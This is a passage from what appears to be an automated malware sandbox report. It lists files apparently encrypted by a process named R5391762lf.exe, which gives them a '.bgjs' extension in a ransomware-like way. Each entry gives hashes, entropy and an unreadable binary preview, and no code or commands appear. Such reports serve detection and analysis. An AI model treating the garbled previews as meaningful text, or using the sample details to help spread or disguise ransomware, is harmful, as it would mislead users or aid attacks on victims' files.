Preview:	IPKGE.<6....W..xo4.4..UDfY.1..(.X..Y...zw~.?'.p........[..8n,w..&6..lK.@.C...F..e.[.z.\.s\|..1..z......I....=......z..[].L.B.....O.....,..............w.f.@.1&.v..t...eq.....'..c.x.n.J$..:.5J..........O.4..<../..}GB.e=f...8.{.V.$..PF.\...HU0.x.Xe..U....T..)6.....)?..d....Fit!...W..OFBW.x.N>~&v.8.y.......`..W.r.w.......%s../.w..~..D........./}2. z...p......%=..<L.sg.c..X_"h`.._C.....=.Y.D....."...w(....3.0......C.z.....j..H. Q......g.....9...............9.e..........+.L.3.mn..k[.0.`8...;'....\....rP#OZ%..%...b.3.r*.4....<.../......9......e..op.....-...6.......}."..4n..>....5.e..........Yw..L...ac+Le[._;!...T..b.(..A&.8.?........}.s.....?Np'.c$....J.....H=v..(7.N..{...(].........jx.jhw4.(.2.U...G..-.O@.....]4...00.3^..I\.cG...jq.....y.".B.LQ.....U...l......X..`.......}}.".t.Tk.K..s..#.....T.'V.....v.ES.........G....;y..^2\|[(\|5.q.~.'C..Q..PH/,`.r..=$..1.7.s.mo...q.2.......D...R.g.R+=%q......5..I.@o....{.$S..g...y...A...b.q7..r.(.

C:\Users\user\Desktop\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844656474317771
Encrypted:	false
SSDEEP:	24:MizBclRnZap7vfdvxZSDJ35t5pOJKjIcuUQKsK1WrncN4ob4uyLXq8uWbD:Mii47HZxcDbtwKjIWO0GJuwXFuED
MD5:	25230BA2C5F8FC6B1FD354AE0039BDE7
SHA1:	FBAE6006C047D8212F8F96B5C8E91173071CA441
SHA-256:	992412EA311D342F056A21C2CCDABE4AA018F8F78E93E58AC15F6993FA25B316
SHA-512:	86EBC209BA8083B1FA47C6BBC2A7EC0F54275FC0E199E797D3DDCDEC25637059CA68EDBADB24A055B7B9301ED22B679E841F1B4A38F5D3163C79AD496AEE48D6
Malicious:	false
Preview:	IPKGEC.....Y.n....t..o^O?...MK.....Ao.....a.g~..m......y......)(..).].(.&..+0mFt{3....!.3.sz.6.\..2+".X.....&.$=.qC.cf.X\|.. ..?. .....2Rh.E.Vl.p.2X0/....5.<.84..N.,....s.f.d.p..sF<.z5j~.......-.....M.y.#qf.X.c..1 .@ ...7.i....c1.].+V.N.d7..`c.f7[.&....}i.<E.<.............f...e.A...."N>t..R..?i6....W.<m...`b.....`.#.i.`~.....4...m..m.y.y".YR\..P.B. .D...j.5.[n...~...4...Q(..-...y..l......d.q...Y.(9O................I..g%...]..z..)...uM....)...GWrH...3'.i.[s&..#..eq....v.....`.Rf..w.FR..w.gn..H~bQ.R-7Y..!.......g...a..9..&6\|.b.U5.@~.oh..l....0.]...\|jr...5.s.!..... Yl.>....J..a.....qT"......&4.9....(...2...f..N.NDF=.p.-?vH.B.I......5..T...{....-.Y..T..T........;..$..4s.y.P..ug.c..d.oe.z.m.#...N.k.$f.`r..hGr9....m0M.B.h....e.V....bQR.l.M.Z..g.dI...1.(.m....8...@..Ak..n...D...H&....C@..SnP>._...Vt.6...}.....<8O.R........D.<...(..fv..F.L....l.t..9...w..%9...C..l.&.n..x.....6s.(....1<H...&~.~wI.&..(3.J...a.....[.:L."...Y..H.j..z..`.4k.",..<b..

C:\Users\user\Desktop\IPKGELNTQY.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844656474317771
Encrypted:	false
SSDEEP:	24:MizBclRnZap7vfdvxZSDJ35t5pOJKjIcuUQKsK1WrncN4ob4uyLXq8uWbD:Mii47HZxcDbtwKjIWO0GJuwXFuED
MD5:	25230BA2C5F8FC6B1FD354AE0039BDE7
SHA1:	FBAE6006C047D8212F8F96B5C8E91173071CA441
SHA-256:	992412EA311D342F056A21C2CCDABE4AA018F8F78E93E58AC15F6993FA25B316
SHA-512:	86EBC209BA8083B1FA47C6BBC2A7EC0F54275FC0E199E797D3DDCDEC25637059CA68EDBADB24A055B7B9301ED22B679E841F1B4A38F5D3163C79AD496AEE48D6
Malicious:	false
Preview:	IPKGEC.....Y.n....t..o^O?...MK.....Ao.....a.g~..m......y......)(..).].(.&..+0mFt{3....!.3.sz.6.\..2+".X.....&.$=.qC.cf.X\|.. ..?. .....2Rh.E.Vl.p.2X0/....5.<.84..N.,....s.f.d.p..sF<.z5j~.......-.....M.y.#qf.X.c..1 .@ ...7.i....c1.].+V.N.d7..`c.f7[.&....}i.<E.<.............f...e.A...."N>t..R..?i6....W.<m...`b.....`.#.i.`~.....4...m..m.y.y".YR\..P.B. .D...j.5.[n...~...4...Q(..-...y..l......d.q...Y.(9O................I..g%...]..z..)...uM....)...GWrH...3'.i.[s&..#..eq....v.....`.Rf..w.FR..w.gn..H~bQ.R-7Y..!.......g...a..9..&6\|.b.U5.@~.oh..l....0.]...\|jr...5.s.!..... Yl.>....J..a.....qT"......&4.9....(...2...f..N.NDF=.p.-?vH.B.I......5..T...{....-.Y..T..T........;..$..4s.y.P..ug.c..d.oe.z.m.#...N.k.$f.`r..hGr9....m0M.B.h....e.V....bQR.l.M.Z..g.dI...1.(.m....8...@..Ak..n...D...H&....C@..SnP>._...Vt.6...}.....<8O.R........D.<...(..fv..F.L....l.t..9...w..%9...C..l.&.n..x.....6s.(....1<H...&~.~wI.&..(3.J...a.....[.:L."...Y..H.j..z..`.4k.",..<b..

C:\Users\user\Desktop\IPKGELNTQY\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837764225084216
Encrypted:	false
SSDEEP:	24:YzpaLXAjgMEeiO3OuRc+fJJlEwmzowiXx9ISr9N5ah3D2ZfF80NdXq8uWbD:EC1rseiRJlRl9ISEh3D2ZPXFuED
MD5:	582047552652C30F1E48CDA233615777
SHA1:	FDB926B42307FD9D0952DF04A888931FBB9695CD
SHA-256:	2B25F10E152340474C9AF1FC7A62CFA812A2AA9DA59D33BDEB9E4186241027DA
SHA-512:	61BC05A70A40C6774BC09C80A7E97948ED81781441DC02A1EC6FDA6BE7A13C09E17521B51837D75C4027EC3819EACFF8386F34F81682EECA579C1E21A21AA1D2
Malicious:	false
Preview:	EEGWX7u..q.\Z.O{..;..[..+.Q.L.(...cB....[..x..!\|.S..X." ....3?M\|.!Z........+H..3b.$ .z......8..)...9...,.5u....P/....:..9@.S....Z.{...Sg...Nm...z.....p}V..`..N..nA.%..E.G{..NAg..H. .fZzY..r.f..]......0.].bU...:Im....cn...Nt..2T~.....0..G......C8.j..2h.v.^..........XM......w.............\|K\FN..@.......n.....U.t.%\.C.t...l;..1......C.z2Ls...u..mf..ey..yo.O.J\|.Q".h.3..{.<.@...5..%se7.......u..:.I...U@...".......z...U)D...BK..o.>.1........ ..:..{.<.0.c4a.K...hN.P..Q.L...J#..M..=.hTA.......#.HU.F..xn..[...;}X1..{....p....b5........]n'.h...T.\|.`"w.....,q...l._.6.e&>......C...-D...r...?...B....gf[..N./A................eZ..Og.....+..x.I.Z..&.5ew6b.. .zV. 2.I.J......W.;.i.."f....\|..G.......>B..:N..Q..gi..B..yT..L..^.!....XDF..`.....R.d7..2.&o...L...&F...nq..q.OkL5G.}.z..G.dq)..?F.U..Z.OgD...f. Q.......8m...;..>w..l[W..V....^....p...n?..rL..3...]E$~?v......?........W.;-...i..o....[.v.........9..E+..........2....3..Ma....k....TI......y..C

C:\Users\user\Desktop\IPKGELNTQY\EEGWXUHVUG.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837764225084216
Encrypted:	false
SSDEEP:	24:YzpaLXAjgMEeiO3OuRc+fJJlEwmzowiXx9ISr9N5ah3D2ZfF80NdXq8uWbD:EC1rseiRJlRl9ISEh3D2ZPXFuED
MD5:	582047552652C30F1E48CDA233615777
SHA1:	FDB926B42307FD9D0952DF04A888931FBB9695CD
SHA-256:	2B25F10E152340474C9AF1FC7A62CFA812A2AA9DA59D33BDEB9E4186241027DA
SHA-512:	61BC05A70A40C6774BC09C80A7E97948ED81781441DC02A1EC6FDA6BE7A13C09E17521B51837D75C4027EC3819EACFF8386F34F81682EECA579C1E21A21AA1D2
Malicious:	false
Preview:	EEGWX7u..q.\Z.O{..;..[..+.Q.L.(...cB....[..x..!\|.S..X." ....3?M\|.!Z........+H..3b.$ .z......8..)...9...,.5u....P/....:..9@.S....Z.{...Sg...Nm...z.....p}V..`..N..nA.%..E.G{..NAg..H. .fZzY..r.f..]......0.].bU...:Im....cn...Nt..2T~.....0..G......C8.j..2h.v.^..........XM......w.............\|K\FN..@.......n.....U.t.%\.C.t...l;..1......C.z2Ls...u..mf..ey..yo.O.J\|.Q".h.3..{.<.@...5..%se7.......u..:.I...U@...".......z...U)D...BK..o.>.1........ ..:..{.<.0.c4a.K...hN.P..Q.L...J#..M..=.hTA.......#.HU.F..xn..[...;}X1..{....p....b5........]n'.h...T.\|.`"w.....,q...l._.6.e&>......C...-D...r...?...B....gf[..N./A................eZ..Og.....+..x.I.Z..&.5ew6b.. .zV. 2.I.J......W.;.i.."f....\|..G.......>B..:N..Q..gi..B..yT..L..^.!....XDF..`.....R.d7..2.&o...L...&F...nq..q.OkL5G.}.z..G.dq)..?F.U..Z.OgD...f. Q.......8m...;..>w..l[W..V....^....p...n?..rL..3...]E$~?v......?........W.;-...i..o....[.v.........9..E+..........2....3..Ma....k....TI......y..C

C:\Users\user\Desktop\IPKGELNTQY\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849642567129461
Encrypted:	false
SSDEEP:	24:sRtPWmDX6FGkfSA3EvUwwbfxu6i018FVvVVr7CXFsAE5BQ0YmKXq8uWbD:gtPWmMfSCfu6i0187TkCKXFuED
MD5:	80DDC6585BFA359F3C597D500EEF5F19
SHA1:	21B63C40E552549BC8E47294B2838BDD92B47C07
SHA-256:	F37A157AFDB215395543315A29EE3C30EE80F47C1DB918C43AE31641F4CAA23C
SHA-512:	52AC111BE88027035586B3D9C5369CC28BA78491470B5EA741B98C89755D7540C947432C4214C7E339B47F4D03A7B4F6853708BAB567D97831C8509CD5AFE6AB
Malicious:	false
Preview:	GRXZD..zs.........k....(...e.D..k....!..[%.T.H.`B.0L#.w...=.....W..,.A.....x.$R...r....+L.E.pkk..h....:...]e<3..Wt.......XY...8....=..@.....f.w...^...g3&...9.H.....@.L..Rt.'j}.(..Q.c...5....V.6.~.`....X..2.(.....n......i..A.......W..2>..~...}......3A.~!...&:7j.P..H..t....L..S.Vx.?..s...R..<.............F.8...2...z.4a.........I.%...&K_....Q:.0_.z.F[.N."..Of.q...B.F!.^+.r..."~L.....(......v..........%<.oj..lJ. ..+.....]#$..Hj.).A\v..x....".^Q8.R.C_..F.tn..Z...zn....^$.\..^.-..*c...J.#.#..<....GY...M.u.9F.A.......h.(..v.a..G....{GF..<]'..B7.;q.).!..."..9.B....I..../.l...i...?v......>.Y...1....N.'...]f..Q.k...N[&w......f,..^. >.......8..u..7...h<........\|.k..=#...e5........R{.+6.....!+.0..{...[....Gg..t I..?R....7;.<;.t.\.3n.\7C..!..1.8.bq~K.C.5.F...k.Q.......S....G....4.v^....K..d....=..\|..TL..B[c9...'.^.t:....3...S..:=.R..v./x8`......n"...RK....Ei......W..F1....B."..6B..Q....,....-...\.D...B<7... .......{..Tk._..H.6"....D..D1n...

C:\Users\user\Desktop\IPKGELNTQY\GRXZDKKVDB.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849642567129461
Encrypted:	false
SSDEEP:	24:sRtPWmDX6FGkfSA3EvUwwbfxu6i018FVvVVr7CXFsAE5BQ0YmKXq8uWbD:gtPWmMfSCfu6i0187TkCKXFuED
MD5:	80DDC6585BFA359F3C597D500EEF5F19
SHA1:	21B63C40E552549BC8E47294B2838BDD92B47C07
SHA-256:	F37A157AFDB215395543315A29EE3C30EE80F47C1DB918C43AE31641F4CAA23C
SHA-512:	52AC111BE88027035586B3D9C5369CC28BA78491470B5EA741B98C89755D7540C947432C4214C7E339B47F4D03A7B4F6853708BAB567D97831C8509CD5AFE6AB
Malicious:	false
Preview:	GRXZD..zs.........k....(...e.D..k....!..[%.T.H.`B.0L#.w...=.....W..,.A.....x.$R...r....+L.E.pkk..h....:...]e<3..Wt.......XY...8....=..@.....f.w...^...g3&...9.H.....@.L..Rt.'j}.(..Q.c...5....V.6.~.`....X..2.(.....n......i..A.......W..2>..~...}......3A.~!...&:7j.P..H..t....L..S.Vx.?..s...R..<.............F.8...2...z.4a.........I.%...&K_....Q:.0_.z.F[.N."..Of.q...B.F!.^+.r..."~L.....(......v..........%<.oj..lJ. ..+.....]#$..Hj.).A\v..x....".^Q8.R.C_..F.tn..Z...zn....^$.\..^.-..*c...J.#.#..<....GY...M.u.9F.A.......h.(..v.a..G....{GF..<]'..B7.;q.).!..."..9.B....I..../.l...i...?v......>.Y...1....N.'...]f..Q.k...N[&w......f,..^. >.......8..u..7...h<........\|.k..=#...e5........R{.+6.....!+.0..{...[....Gg..t I..?R....7;.<;.t.\.3n.\7C..!..1.8.bq~K.C.5.F...k.Q.......S....G....4.v^....K..d....=..\|..TL..B[c9...'.^.t:....3...S..:=.R..v./x8`......n"...RK....Ei......W..F1....B."..6B..Q....,....-...\.D...B<7... .......{..Tk._..H.6"....D..D1n...

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848310106828352
Encrypted:	false
SSDEEP:	24:Tpi5M3MTim8lwu7y5rIaqP5hDmGYy5iL1nEx2J+QXq8uWbD:Tgzil6rIprR5iMQXFuED
MD5:	3F360C4497B2CAF0CBF026719DBEE07C
SHA1:	2F108F0E5F17E2139F0DF547FB07FAC8D88F77F3
SHA-256:	1565CD88784F370E9C7AE761C7476EB426E7162966C355D2AC24720E874BC25F
SHA-512:	FF1A978F808BEB4EF3EC091F8EABE84DA58A9CDC77E86863B3588B971A385942A9573C565446E2B6B11EF5B510639E3AEA865FD480101C85F8AE6D066A0CF45C
Malicious:	false
Preview:	IPKGE...(K..)[.JI....?.....R!T.Q.E...4..l0d...}.\|..UB..a....Pt....X./..B.z.s..@....^..eO...:..._..P.]DzL.Y.Vr.&?:...:&..N..`.C.>...@a...M...".?..rP..........l%..m.7......L.C.M.....?......:.e3..#........q....~M{ro2..L+..P.>3....x...n..&.C.....q~.5..Q.N............LV.@.F.c.(#'A.t/d.p.zz....K......@.Cf...BSc..h...#.e..}..\|...Nf...^Y..dH.1....%..L..Q..'...N..._.....=.7..n....G4{a.. pBaIf_.aL..X.M#.'..&.)...xuL..Z?.i...~,t.................L.....;W......q...........K.@p.....3...7.xn.........4b ..u".;.E.o...0.......e!-.........02b.........0...o.B.j....0....{ .=.J/.........KC."...!1.u`J....`.J..'"...)..$......D.`"..J.J...M.f..,*.._.W:47%...r.C.{....K&t..gh..Q@$.i.c..M....#..k..81..?_=..-..2..r.....?...]{.P..M..md.....m.w.....9.....cl...q......"...T..#J..... .iT.../e..~..%w.?....p..k.U...}g.f.SC.Jm...dfu.....j..TP.....5,\|S.n-.k.5._..?....+...{.{A..f.\..S.k........-%....]2..aQ.g.j4..7........E..N.P.....#pkp.. .]=N.t1../.r.^9U..o.x...!.d.

C:\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848310106828352
Encrypted:	false
SSDEEP:	24:Tpi5M3MTim8lwu7y5rIaqP5hDmGYy5iL1nEx2J+QXq8uWbD:Tgzil6rIprR5iMQXFuED
MD5:	3F360C4497B2CAF0CBF026719DBEE07C
SHA1:	2F108F0E5F17E2139F0DF547FB07FAC8D88F77F3
SHA-256:	1565CD88784F370E9C7AE761C7476EB426E7162966C355D2AC24720E874BC25F
SHA-512:	FF1A978F808BEB4EF3EC091F8EABE84DA58A9CDC77E86863B3588B971A385942A9573C565446E2B6B11EF5B510639E3AEA865FD480101C85F8AE6D066A0CF45C
Malicious:	false
Preview:	IPKGE...(K..)[.JI....?.....R!T.Q.E...4..l0d...}.\|..UB..a....Pt....X./..B.z.s..@....^..eO...:..._..P.]DzL.Y.Vr.&?:...:&..N..`.C.>...@a...M...".?..rP..........l%..m.7......L.C.M.....?......:.e3..#........q....~M{ro2..L+..P.>3....x...n..&.C.....q~.5..Q.N............LV.@.F.c.(#'A.t/d.p.zz....K......@.Cf...BSc..h...#.e..}..\|...Nf...^Y..dH.1....%..L..Q..'...N..._.....=.7..n....G4{a.. pBaIf_.aL..X.M#.'..&.)...xuL..Z?.i...~,t.................L.....;W......q...........K.@p.....3...7.xn.........4b ..u".;.E.o...0.......e!-.........02b.........0...o.B.j....0....{ .=.J/.........KC."...!1.u`J....`.J..'"...)..$......D.`"..J.J...M.f..,*.._.W:47%...r.C.{....K&t..gh..Q@$.i.c..M....#..k..81..?_=..-..2..r.....?...]{.P..M..md.....m.w.....9.....cl...q......"...T..#J..... .iT.../e..~..%w.?....p..k.U...}g.f.SC.Jm...dfu.....j..TP.....5,\|S.n-.k.5._..?....+...{.{A..f.\..S.k........-%....]2..aQ.g.j4..7........E..N.P.....#pkp.. .]=N.t1../.r.^9U..o.x...!.d.

C:\Users\user\Desktop\IPKGELNTQY\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858781855009404
Encrypted:	false
SSDEEP:	24:OeEDEX16qidX2V2lla46WkZ4A+FZhTACHICz+6ZtYxWhoYLZlUBowxRHpUXq8uWX:OeEYYq22A7a4634AIZhTzHVRZDnLZlYq
MD5:	024913A5DCB08A33B3F67D404B3DFD07
SHA1:	3BEB8704C2C41B0BB738CDF1B0CF329170C1A77B
SHA-256:	8E1B8ED944A9B89A48A577330539D3D37634C77C32A35E1C223636198DD58ED9
SHA-512:	DDAA2FB3050539B6D5D11A02703A7B3906E6C22FC8EF7DA71A3E2A2CF1A74405A30A32617A57E7547FB8702554FFAC805793049A41B8B4011A4DB75F8D16211E
Malicious:	false
Preview:	PIVFAx....J$.d/..'!..'.....pO.8...pJ.]..y......8..h.....g....<...]!.. D..i.m..].\.....V8Z....b....)O}..H[..1.s.I...TN.=2N=$..fM..`:.j.8..y...q....5.tLF.eDL.U.:8......WEY......J...C..\.nvor....?.;..."=U...@..V.D..DI.Mv>..8..,"..(...V....l....?c...E@...T.B.%[....x-........+.7d.F..E...HO....C.BB..L....>.......-"?..\|7..t...GV..&...]I....:T.k.Xp2.&...5,p.....Sm.g....$..Apw..8....(~...I..........H.~O".....'.GB..n.%p.......U...L./.._.....5..T.:.)....z..~.i..m_.7..Mr....\|......t...>..-...........e.US;.....k]2D_..<G8.2...).....g.+....-^...;.^.r..#.'\<.....4.=.0.s...[..D1R"K.."{...e.C1.uM..5.t....C!gR..$..1h......P.C~%...%........~I..#!.4.X....).,..?.RT.x..v+....9ZYG....m..j.........m......Mm..........V&z..P.A....Tt_..Q..N.@..?Fs.....s.I..n.X}.p..UfOl. .}.O.}R.../M{....]..k..Rl....4..m~...^I.).T7.X.3.......e...R..-...&...../ho....x..I.~O#.........`..7.!...T2.{.....a.s..u.Z..+.&.`.^\.;.p...=...@fN.,.'.*..ed...vCC#....Z_.c.".....B.y...2.6....

C:\Users\user\Desktop\IPKGELNTQY\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858781855009404
Encrypted:	false
SSDEEP:	24:OeEDEX16qidX2V2lla46WkZ4A+FZhTACHICz+6ZtYxWhoYLZlUBowxRHpUXq8uWX:OeEYYq22A7a4634AIZhTzHVRZDnLZlYq
MD5:	024913A5DCB08A33B3F67D404B3DFD07
SHA1:	3BEB8704C2C41B0BB738CDF1B0CF329170C1A77B
SHA-256:	8E1B8ED944A9B89A48A577330539D3D37634C77C32A35E1C223636198DD58ED9
SHA-512:	DDAA2FB3050539B6D5D11A02703A7B3906E6C22FC8EF7DA71A3E2A2CF1A74405A30A32617A57E7547FB8702554FFAC805793049A41B8B4011A4DB75F8D16211E
Malicious:	false
Preview:	PIVFAx....J$.d/..'!..'.....pO.8...pJ.]..y......8..h.....g....<...]!.. D..i.m..].\.....V8Z....b....)O}..H[..1.s.I...TN.=2N=$..fM..`:.j.8..y...q....5.tLF.eDL.U.:8......WEY......J...C..\.nvor....?.;..."=U...@..V.D..DI.Mv>..8..,"..(...V....l....?c...E@...T.B.%[....x-........+.7d.F..E...HO....C.BB..L....>.......-"?..\|7..t...GV..&...]I....:T.k.Xp2.&...5,p.....Sm.g....$..Apw..8....(~...I..........H.~O".....'.GB..n.%p.......U...L./.._.....5..T.:.)....z..~.i..m_.7..Mr....\|......t...>..-...........e.US;.....k]2D_..<G8.2...).....g.+....-^...;.^.r..#.'\<.....4.=.0.s...[..D1R"K.."{...e.C1.uM..5.t....C!gR..$..1h......P.C~%...%........~I..#!.4.X....).,..?.RT.x..v+....9ZYG....m..j.........m......Mm..........V&z..P.A....Tt_..Q..N.@..?Fs.....s.I..n.X}.p..UfOl. .}.O.}R.../M{....]..k..Rl....4..m~...^I.).T7.X.3.......e...R..-...&...../ho....x..I.~O#.........`..7.!...T2.{.....a.s..u.Z..+.&.`.^\.;.p...=...@fN.,.'.*..ed...vCC#....Z_.c.".....B.y...2.6....

C:\Users\user\Desktop\IPKGELNTQY\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835982924618137
Encrypted:	false
SSDEEP:	24:oL2/jyWLSTGrzw2GXLDwrmM9wbe8SrCY0LyOlo755MjwxhJVyWWllXq8uWbD:Wgjy+vvwpXL8r/avYfvfMQy/lXFuED
MD5:	96ADA467C8DEB68E4D529CAC4F1508A2
SHA1:	6185CEB13A5E9C4078B053B792E73C396DFD5EFD
SHA-256:	E2EF25B3888EC9172BB073F8A984EA229555EA8F4BE194CD01A57BF967DBD610
SHA-512:	08A9E748A33B5A95B219D4750131D75D81B959D4744E3F52A05F75AE384169F4ADC6D8CB148C6DD8525C292EA1632D1E1AFF460D6EB05287238B44E7F5E2B96A
Malicious:	false
Preview:	QCFWYd....f..~..S.S4....,..t%6.-.N..C<M.\.........c..N.1.......)hd.%...%}.9.0..W./..);....Fg.Zg.3jA/.g?..q.Lj...I..z....n..G...$.K.Q.s......,..w&N...&...",.I....G.+)..&L.Q.N.G..N;.)...p...k~V.p..D~M..>..2>4/.Ay@....<X](.....3YB.D.U.,....Y...8\..6....2..g....BB..x.....]..z&A.o.[.u.Z.Z........G.o...Q...k......(..4Q..]D.'V.j.%..7.N.D.-..d4...r_.........@....K.?G.....n..M..W6iHpR.b..........B...#R...Lj.L2.....#.a;q..C..........E_...2........^...I.\|..W....<x.W\......r.....?........k..m3..t..\|.GaO...N....@t....$.3.F...'..$.@.>PL.a...b@{..k...a...2.X.........b{.i..eN......0...6...<...r(;.^....U.RH..DLR. ...G.w"O...q..a._... u..v..'.FsI..h...... .d....u.!..\.9..PNNd...D[T)s....`9h.4Bg....@..=.-..0..;'r/....1~....K.....t[....g.3.g\|.w.u)=w0..P.....MM..........K......e..I...Q.^'.u4..by.Kr}U..'E.s.+.........v.....7........\.J,.m......\|J3...&F..~.I..\|B.y8.9.V."s.."p.c...V...teT..%...b3:...j}.F.~....\Hcb}..k..hf..\|.'.h..X.qm:7..a..9=8^=).0.~./.~$....kx.....uWX..x

C:\Users\user\Desktop\IPKGELNTQY\QCFWYSKMHA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835982924618137
Encrypted:	false
SSDEEP:	24:oL2/jyWLSTGrzw2GXLDwrmM9wbe8SrCY0LyOlo755MjwxhJVyWWllXq8uWbD:Wgjy+vvwpXL8r/avYfvfMQy/lXFuED
MD5:	96ADA467C8DEB68E4D529CAC4F1508A2
SHA1:	6185CEB13A5E9C4078B053B792E73C396DFD5EFD
SHA-256:	E2EF25B3888EC9172BB073F8A984EA229555EA8F4BE194CD01A57BF967DBD610
SHA-512:	08A9E748A33B5A95B219D4750131D75D81B959D4744E3F52A05F75AE384169F4ADC6D8CB148C6DD8525C292EA1632D1E1AFF460D6EB05287238B44E7F5E2B96A
Malicious:	false
Preview:	QCFWYd....f..~..S.S4....,..t%6.-.N..C<M.\.........c..N.1.......)hd.%...%}.9.0..W./..);....Fg.Zg.3jA/.g?..q.Lj...I..z....n..G...$.K.Q.s......,..w&N...&...",.I....G.+)..&L.Q.N.G..N;.)...p...k~V.p..D~M..>..2>4/.Ay@....<X](.....3YB.D.U.,....Y...8\..6....2..g....BB..x.....]..z&A.o.[.u.Z.Z........G.o...Q...k......(..4Q..]D.'V.j.%..7.N.D.-..d4...r_.........@....K.?G.....n..M..W6iHpR.b..........B...#R...Lj.L2.....#.a;q..C..........E_...2........^...I.\|..W....<x.W\......r.....?........k..m3..t..\|.GaO...N....@t....$.3.F...'..$.@.>PL.a...b@{..k...a...2.X.........b{.i..eN......0...6...<...r(;.^....U.RH..DLR. ...G.w"O...q..a._... u..v..'.FsI..h...... .d....u.!..\.9..PNNd...D[T)s....`9h.4Bg....@..=.-..0..;'r/....1~....K.....t[....g.3.g\|.w.u)=w0..P.....MM..........K......e..I...Q.^'.u4..by.Kr}U..'E.s.+.........v.....7........\.J,.m......\|J3...&F..~.I..\|B.y8.9.V."s.."p.c...V...teT..%...b3:...j}.F.~....\Hcb}..k..hf..\|.'.h..X.qm:7..a..9=8^=).0.~./.~$....kx.....uWX..x

C:\Users\user\Desktop\IPKGELNTQY\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851433936281909
Encrypted:	false
SSDEEP:	24:oxGtYtIf+0ymU00Rz7Y/PBFvpQvqz56V/n3pM/TeJueshtK0eBa3z3w83JjJXq8X:7trlymU00RA/PBQwe/kTe8eoA38z3Jd5
MD5:	BD8EBB74EC6A9120302FBA841F63B984
SHA1:	668682576390478204D5C5680D23CE7F8F686088
SHA-256:	A7563D4A5D2825394B5582E8B4B3EA23E3F3D37075E7B173377A3565E8DD2BB9
SHA-512:	D27667A3116CE6EC3D0AB81C2B7B5DC1AB3A332F3CBA9BEC0E7F8F0CBCD4C1DCBB76E15D5AF508F8A4FC4E771E7F2872D2BE2EACBFBEE3E3C36DB108C7F16100
Malicious:	false
Preview:	ZQIXMw..X)....8..e.)..........Xb.,.5...}.R%\|+.e7....<.Kv...3.=#.e....u..8..K......4....R.......s_.W...n.N...M.h$..cLWe`.J%..U.M@.....>H..g..aw..&...t..X..b<..P>..PCW.....$..]q6{.Z..e..N..L....X...{..D..L.FuA.U.T.z.K..#....w.V..%...\5.....L.q..2b...d.YP.E..X.6.p8........IC.....w.L.8...W}...h.'.......3Vw..e._....i...Y...I....w..Q.]?.f~l.O....>3..&g8.v.G..l.........=..f`.b..$..cN.`.Q...7p......C:....?.$...Y...q...Ln...K.C.......)...;.e.K.Z..".!...2....Y.8..Y.p.,......._..Q.x...j}Z....kI;.!K..v.....sr.C.l......K...>....b.....7k1aw.C..K.....0.a.#..s46E.Y..........kq.......zPE.(%.{.)I....2.\|D{..]$......T..i."....#....,....`g.).%.%E..9..nP ..drm....i.R.q.)&.}.Mq..q..X.)..........Y..iI..Y..{j..}}..o.62......#.?..H.a'h..P........r...t....S.d.]..A...1.Ld..0.....<.P....QP7....3.'W.n..x..TUW.....J.P..X..AQ@...5.t..:....q>.....v...?-!.JK.,H.Cf...i..p..f[...y.=.z.......f..y...;q4a8.,NE.~..~..p..!)...OC.f..[..8YM..f<....Z....OCT.9.c.7]sDO..>.lVAO

C:\Users\user\Desktop\IPKGELNTQY\ZQIXMVQGAH.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851433936281909
Encrypted:	false
SSDEEP:	24:oxGtYtIf+0ymU00Rz7Y/PBFvpQvqz56V/n3pM/TeJueshtK0eBa3z3w83JjJXq8X:7trlymU00RA/PBQwe/kTe8eoA38z3Jd5
MD5:	BD8EBB74EC6A9120302FBA841F63B984
SHA1:	668682576390478204D5C5680D23CE7F8F686088
SHA-256:	A7563D4A5D2825394B5582E8B4B3EA23E3F3D37075E7B173377A3565E8DD2BB9
